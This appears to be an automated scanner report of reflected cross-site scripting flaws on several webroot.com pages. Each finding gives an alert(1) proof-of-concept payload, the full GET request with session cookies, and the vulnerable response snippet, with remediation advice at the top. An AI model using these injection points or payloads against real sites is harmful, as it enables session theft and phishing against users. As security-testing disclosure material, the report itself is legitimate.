Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
1.1. http://www.webroot.com/En_US/business-antispyware-ce-with-antivirus.html [name of an arbitrarily supplied request parameter]next
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a611a"-alert(1)-"edea93188f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /En_US/business-antispyware-ce-with-antivirus.html?a611a"-alert(1)-"edea93188f=1 HTTP/1.1 Host: www.webroot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1303045247220; WRSID=53806c0679aadc2e5c9ced35171f7aa7; __utmz=43535610.1303044931.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; RCID=P_RC%3D%3E99999%3AP_AC%3D%3E%3AP_RSC%3D%3E; mbox=session#1303044923199-20205#1303047100|PC#1303044923199-20205.17#1318856440|check#true#1303045300; s_vnum=1305636930736%26vn%3D1; s_invisit=true; s_cc=true; IS3_History=0-0-0____; IS3_GSV=DPL-0_TES-1303045247_PCT-1303045247_GeoIP-*_GeoCo-_GeoRg-_GeoCt-_GeoNs-_GeoDm-; s_vi=[CS]v1|26D571A185013486-400001026021711E[CE]; s_nr=1303045247207; __utma=43535610.2084358374.1303044931.1303044931.1303044931.1; __utmc=43535610; __utmb=43535610.2.10.1303044931;
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US">
<he ...[SNIP]... <script type="text/javascript"> //bold which ever page this is $("#rightRailLinks ul li a[href='/En_US/business-antispyware-ce-with-antivirus.html?a611a"-alert(1)-"edea93188f=1']").css("font-weight", "bold"); </script> ...[SNIP]...
1.2. http://www.webroot.com/En_US/business-antispyware-ce.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.webroot.com
Path:
/En_US/business-antispyware-ce.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload cbd72"-alert(1)-"8a0c6be8998 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /En_US/business-antispyware-ce.html?cbd72"-alert(1)-"8a0c6be8998=1 HTTP/1.1 Host: www.webroot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1303045247220; WRSID=53806c0679aadc2e5c9ced35171f7aa7; __utmz=43535610.1303044931.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; RCID=P_RC%3D%3E99999%3AP_AC%3D%3E%3AP_RSC%3D%3E; mbox=session#1303044923199-20205#1303047100|PC#1303044923199-20205.17#1318856440|check#true#1303045300; s_vnum=1305636930736%26vn%3D1; s_invisit=true; s_cc=true; IS3_History=0-0-0____; IS3_GSV=DPL-0_TES-1303045247_PCT-1303045247_GeoIP-*_GeoCo-_GeoRg-_GeoCt-_GeoNs-_GeoDm-; s_vi=[CS]v1|26D571A185013486-400001026021711E[CE]; s_nr=1303045247207; __utma=43535610.2084358374.1303044931.1303044931.1303044931.1; __utmc=43535610; __utmb=43535610.2.10.1303044931;
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US">
<he ...[SNIP]... <script type="text/javascript"> //bold which ever page this is $("#rightRailLinks ul li a[href='/En_US/business-antispyware-ce.html?cbd72"-alert(1)-"8a0c6be8998=1']").css("font-weight", "bold"); </script> ...[SNIP]...
1.3. http://www.webroot.com/En_US/business-events-and-webinars-archives.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.webroot.com
Path:
/En_US/business-events-and-webinars-archives.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 19b23"-alert(1)-"08b2f515f3 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /En_US/business-events-and-webinars-archives.html?19b23"-alert(1)-"08b2f515f3=1 HTTP/1.1 Host: www.webroot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1303045247220; WRSID=53806c0679aadc2e5c9ced35171f7aa7; __utmz=43535610.1303044931.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; RCID=P_RC%3D%3E99999%3AP_AC%3D%3E%3AP_RSC%3D%3E; mbox=session#1303044923199-20205#1303047100|PC#1303044923199-20205.17#1318856440|check#true#1303045300; s_vnum=1305636930736%26vn%3D1; s_invisit=true; s_cc=true; IS3_History=0-0-0____; IS3_GSV=DPL-0_TES-1303045247_PCT-1303045247_GeoIP-*_GeoCo-_GeoRg-_GeoCt-_GeoNs-_GeoDm-; s_vi=[CS]v1|26D571A185013486-400001026021711E[CE]; s_nr=1303045247207; __utma=43535610.2084358374.1303044931.1303044931.1303044931.1; __utmc=43535610; __utmb=43535610.2.10.1303044931;
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US">
<he ...[SNIP]... type="text/javascript"> $(function() { /* jquery should be wrapped in document ready function */
$("#resourcesLinks ul li a[href='/En_US/business-events-and-webinars-archives.html?19b23"-alert(1)-"08b2f515f3=1']").css("font-weight", "bold"); }); </script> ...[SNIP]...
1.4. http://www.webroot.com/En_US/business-products.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.webroot.com
Path:
/En_US/business-products.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e87a2"-alert(1)-"225e28addd9 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /En_US/business-products.html?e87a2"-alert(1)-"225e28addd9=1 HTTP/1.1 Host: www.webroot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1303045247220; WRSID=53806c0679aadc2e5c9ced35171f7aa7; __utmz=43535610.1303044931.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; RCID=P_RC%3D%3E99999%3AP_AC%3D%3E%3AP_RSC%3D%3E; mbox=session#1303044923199-20205#1303047100|PC#1303044923199-20205.17#1318856440|check#true#1303045300; s_vnum=1305636930736%26vn%3D1; s_invisit=true; s_cc=true; IS3_History=0-0-0____; IS3_GSV=DPL-0_TES-1303045247_PCT-1303045247_GeoIP-*_GeoCo-_GeoRg-_GeoCt-_GeoNs-_GeoDm-; s_vi=[CS]v1|26D571A185013486-400001026021711E[CE]; s_nr=1303045247207; __utma=43535610.2084358374.1303044931.1303044931.1303044931.1; __utmc=43535610; __utmb=43535610.2.10.1303044931;
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US">
<he ...[SNIP]... <script type="text/javascript"> //bold which ever page this is $("#rightRailLinks ul li a[href='/En_US/business-products.html?e87a2"-alert(1)-"225e28addd9=1']").css("font-weight", "bold"); </script> ...[SNIP]...
1.5. http://www.webroot.com/En_US/business-security-resources-customer-case-studies.html [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 2e445"-alert(1)-"2963631dfae was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /En_US/business-security-resources-customer-case-studies.html?2e445"-alert(1)-"2963631dfae=1 HTTP/1.1 Host: www.webroot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1303045247220; WRSID=53806c0679aadc2e5c9ced35171f7aa7; __utmz=43535610.1303044931.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; RCID=P_RC%3D%3E99999%3AP_AC%3D%3E%3AP_RSC%3D%3E; mbox=session#1303044923199-20205#1303047100|PC#1303044923199-20205.17#1318856440|check#true#1303045300; s_vnum=1305636930736%26vn%3D1; s_invisit=true; s_cc=true; IS3_History=0-0-0____; IS3_GSV=DPL-0_TES-1303045247_PCT-1303045247_GeoIP-*_GeoCo-_GeoRg-_GeoCt-_GeoNs-_GeoDm-; s_vi=[CS]v1|26D571A185013486-400001026021711E[CE]; s_nr=1303045247207; __utma=43535610.2084358374.1303044931.1303044931.1303044931.1; __utmc=43535610; __utmb=43535610.2.10.1303044931;
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US">
<he ...[SNIP]... javascript"> $(function() { /* jquery should be wrapped in document ready function */
$("#resourcesLinks ul li a[href='/En_US/business-security-resources-customer-case-studies.html?2e445"-alert(1)-"2963631dfae=1']").css("font-weight", "bold"); }); </script> ...[SNIP]...
1.6. http://www.webroot.com/En_US/business-security-resources-white-papers-and-reports.html [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 15427"-alert(1)-"54c3f4aa5d3 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /En_US/business-security-resources-white-papers-and-reports.html?15427"-alert(1)-"54c3f4aa5d3=1 HTTP/1.1 Host: www.webroot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1303045247220; WRSID=53806c0679aadc2e5c9ced35171f7aa7; __utmz=43535610.1303044931.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; RCID=P_RC%3D%3E99999%3AP_AC%3D%3E%3AP_RSC%3D%3E; mbox=session#1303044923199-20205#1303047100|PC#1303044923199-20205.17#1318856440|check#true#1303045300; s_vnum=1305636930736%26vn%3D1; s_invisit=true; s_cc=true; IS3_History=0-0-0____; IS3_GSV=DPL-0_TES-1303045247_PCT-1303045247_GeoIP-*_GeoCo-_GeoRg-_GeoCt-_GeoNs-_GeoDm-; s_vi=[CS]v1|26D571A185013486-400001026021711E[CE]; s_nr=1303045247207; __utma=43535610.2084358374.1303044931.1303044931.1303044931.1; __utmc=43535610; __utmb=43535610.2.10.1303044931;
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US">
<he ...[SNIP]... ascript"> $(function() { /* jquery should be wrapped in document ready function */
$("#resourcesLinks ul li a[href='/En_US/business-security-resources-white-papers-and-reports.html?15427"-alert(1)-"54c3f4aa5d3=1']").css("font-weight", "bold"); }); </script> ...[SNIP]...
1.7. http://www.webroot.com/En_US/case-study/email-security-chula-vista.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.webroot.com
Path:
/En_US/case-study/email-security-chula-vista.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 7a80b"-alert(1)-"ca44564b1f9 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /En_US/case-study/email-security-chula-vista.html?7a80b"-alert(1)-"ca44564b1f9=1 HTTP/1.1 Host: www.webroot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1303045247220; WRSID=53806c0679aadc2e5c9ced35171f7aa7; __utmz=43535610.1303044931.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; RCID=P_RC%3D%3E99999%3AP_AC%3D%3E%3AP_RSC%3D%3E; mbox=session#1303044923199-20205#1303047100|PC#1303044923199-20205.17#1318856440|check#true#1303045300; s_vnum=1305636930736%26vn%3D1; s_invisit=true; s_cc=true; IS3_History=0-0-0____; IS3_GSV=DPL-0_TES-1303045247_PCT-1303045247_GeoIP-*_GeoCo-_GeoRg-_GeoCt-_GeoNs-_GeoDm-; s_vi=[CS]v1|26D571A185013486-400001026021711E[CE]; s_nr=1303045247207; __utma=43535610.2084358374.1303044931.1303044931.1303044931.1; __utmc=43535610; __utmb=43535610.2.10.1303044931;
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US">
< ...[SNIP]... type="text/javascript"> $(function() { /* jquery should be wrapped in document ready function */
$("#resourcesLinks ul li a[href='/En_US/case-study/email-security-chula-vista.html?7a80b"-alert(1)-"ca44564b1f9=1']").css("font-weight", "bold"); }); </script> ...[SNIP]...
1.8. http://www.webroot.com/En_US/case-study/email-security-chula-vista.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.webroot.com
Path:
/En_US/case-study/email-security-chula-vista.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8cd53"><script>alert(1)</script>c11a0418132 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /En_US/case-study/email-security-chula-vista.html?8cd53"><script>alert(1)</script>c11a0418132=1 HTTP/1.1 Host: www.webroot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1303045247220; WRSID=53806c0679aadc2e5c9ced35171f7aa7; __utmz=43535610.1303044931.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; RCID=P_RC%3D%3E99999%3AP_AC%3D%3E%3AP_RSC%3D%3E; mbox=session#1303044923199-20205#1303047100|PC#1303044923199-20205.17#1318856440|check#true#1303045300; s_vnum=1305636930736%26vn%3D1; s_invisit=true; s_cc=true; IS3_History=0-0-0____; IS3_GSV=DPL-0_TES-1303045247_PCT-1303045247_GeoIP-*_GeoCo-_GeoRg-_GeoCt-_GeoNs-_GeoDm-; s_vi=[CS]v1|26D571A185013486-400001026021711E[CE]; s_nr=1303045247207; __utma=43535610.2084358374.1303044931.1303044931.1303044931.1; __utmc=43535610; __utmb=43535610.2.10.1303044931;
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 83e69"><script>alert(1)</script>d61538cc7e6 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /En_US/case-study/internet-security-for-students.html?83e69"><script>alert(1)</script>d61538cc7e6=1 HTTP/1.1 Host: www.webroot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1303045247220; WRSID=53806c0679aadc2e5c9ced35171f7aa7; __utmz=43535610.1303044931.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; RCID=P_RC%3D%3E99999%3AP_AC%3D%3E%3AP_RSC%3D%3E; mbox=session#1303044923199-20205#1303047100|PC#1303044923199-20205.17#1318856440|check#true#1303045300; s_vnum=1305636930736%26vn%3D1; s_invisit=true; s_cc=true; IS3_History=0-0-0____; IS3_GSV=DPL-0_TES-1303045247_PCT-1303045247_GeoIP-*_GeoCo-_GeoRg-_GeoCt-_GeoNs-_GeoDm-; s_vi=[CS]v1|26D571A185013486-400001026021711E[CE]; s_nr=1303045247207; __utma=43535610.2084358374.1303044931.1303044931.1303044931.1; __utmc=43535610; __utmb=43535610.2.10.1303044931;
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 1f856"-alert(1)-"f99e19d405c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /En_US/case-study/internet-security-for-students.html?1f856"-alert(1)-"f99e19d405c=1 HTTP/1.1 Host: www.webroot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1303045247220; WRSID=53806c0679aadc2e5c9ced35171f7aa7; __utmz=43535610.1303044931.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; RCID=P_RC%3D%3E99999%3AP_AC%3D%3E%3AP_RSC%3D%3E; mbox=session#1303044923199-20205#1303047100|PC#1303044923199-20205.17#1318856440|check#true#1303045300; s_vnum=1305636930736%26vn%3D1; s_invisit=true; s_cc=true; IS3_History=0-0-0____; IS3_GSV=DPL-0_TES-1303045247_PCT-1303045247_GeoIP-*_GeoCo-_GeoRg-_GeoCt-_GeoNs-_GeoDm-; s_vi=[CS]v1|26D571A185013486-400001026021711E[CE]; s_nr=1303045247207; __utma=43535610.2084358374.1303044931.1303044931.1303044931.1; __utmc=43535610; __utmb=43535610.2.10.1303044931;
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US">
< ...[SNIP]... e="text/javascript"> $(function() { /* jquery should be wrapped in document ready function */
$("#resourcesLinks ul li a[href='/En_US/case-study/internet-security-for-students.html?1f856"-alert(1)-"f99e19d405c=1']").css("font-weight", "bold"); }); </script> ...[SNIP]...
1.11. http://www.webroot.com/En_US/case-study/internet-security-in-australia.html [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 40c43"><script>alert(1)</script>e7b38b78623 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /En_US/case-study/internet-security-in-australia.html?40c43"><script>alert(1)</script>e7b38b78623=1 HTTP/1.1 Host: www.webroot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1303045247220; WRSID=53806c0679aadc2e5c9ced35171f7aa7; __utmz=43535610.1303044931.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; RCID=P_RC%3D%3E99999%3AP_AC%3D%3E%3AP_RSC%3D%3E; mbox=session#1303044923199-20205#1303047100|PC#1303044923199-20205.17#1318856440|check#true#1303045300; s_vnum=1305636930736%26vn%3D1; s_invisit=true; s_cc=true; IS3_History=0-0-0____; IS3_GSV=DPL-0_TES-1303045247_PCT-1303045247_GeoIP-*_GeoCo-_GeoRg-_GeoCt-_GeoNs-_GeoDm-; s_vi=[CS]v1|26D571A185013486-400001026021711E[CE]; s_nr=1303045247207; __utma=43535610.2084358374.1303044931.1303044931.1303044931.1; __utmc=43535610; __utmb=43535610.2.10.1303044931;
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 2b420"-alert(1)-"5b7e7f6458a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /En_US/case-study/internet-security-in-australia.html?2b420"-alert(1)-"5b7e7f6458a=1 HTTP/1.1 Host: www.webroot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1303045247220; WRSID=53806c0679aadc2e5c9ced35171f7aa7; __utmz=43535610.1303044931.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; RCID=P_RC%3D%3E99999%3AP_AC%3D%3E%3AP_RSC%3D%3E; mbox=session#1303044923199-20205#1303047100|PC#1303044923199-20205.17#1318856440|check#true#1303045300; s_vnum=1305636930736%26vn%3D1; s_invisit=true; s_cc=true; IS3_History=0-0-0____; IS3_GSV=DPL-0_TES-1303045247_PCT-1303045247_GeoIP-*_GeoCo-_GeoRg-_GeoCt-_GeoNs-_GeoDm-; s_vi=[CS]v1|26D571A185013486-400001026021711E[CE]; s_nr=1303045247207; __utma=43535610.2084358374.1303044931.1303044931.1303044931.1; __utmc=43535610; __utmb=43535610.2.10.1303044931;
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US">
< ...[SNIP]... e="text/javascript"> $(function() { /* jquery should be wrapped in document ready function */
$("#resourcesLinks ul li a[href='/En_US/case-study/internet-security-in-australia.html?2b420"-alert(1)-"5b7e7f6458a=1']").css("font-weight", "bold"); }); </script> ...[SNIP]...
1.13. http://www.webroot.com/En_US/case-study/saas-technology-cloud-computing.html [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 7bafe"-alert(1)-"9761630f095 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /En_US/case-study/saas-technology-cloud-computing.html?7bafe"-alert(1)-"9761630f095=1 HTTP/1.1 Host: www.webroot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1303045247220; WRSID=53806c0679aadc2e5c9ced35171f7aa7; __utmz=43535610.1303044931.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; RCID=P_RC%3D%3E99999%3AP_AC%3D%3E%3AP_RSC%3D%3E; mbox=session#1303044923199-20205#1303047100|PC#1303044923199-20205.17#1318856440|check#true#1303045300; s_vnum=1305636930736%26vn%3D1; s_invisit=true; s_cc=true; IS3_History=0-0-0____; IS3_GSV=DPL-0_TES-1303045247_PCT-1303045247_GeoIP-*_GeoCo-_GeoRg-_GeoCt-_GeoNs-_GeoDm-; s_vi=[CS]v1|26D571A185013486-400001026021711E[CE]; s_nr=1303045247207; __utma=43535610.2084358374.1303044931.1303044931.1303044931.1; __utmc=43535610; __utmb=43535610.2.10.1303044931;
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US">
< ...[SNIP]... ="text/javascript"> $(function() { /* jquery should be wrapped in document ready function */
$("#resourcesLinks ul li a[href='/En_US/case-study/saas-technology-cloud-computing.html?7bafe"-alert(1)-"9761630f095=1']").css("font-weight", "bold"); }); </script> ...[SNIP]...
1.14. http://www.webroot.com/En_US/case-study/saas-technology-cloud-computing.html [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8c3b3"><script>alert(1)</script>4078136ea2c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
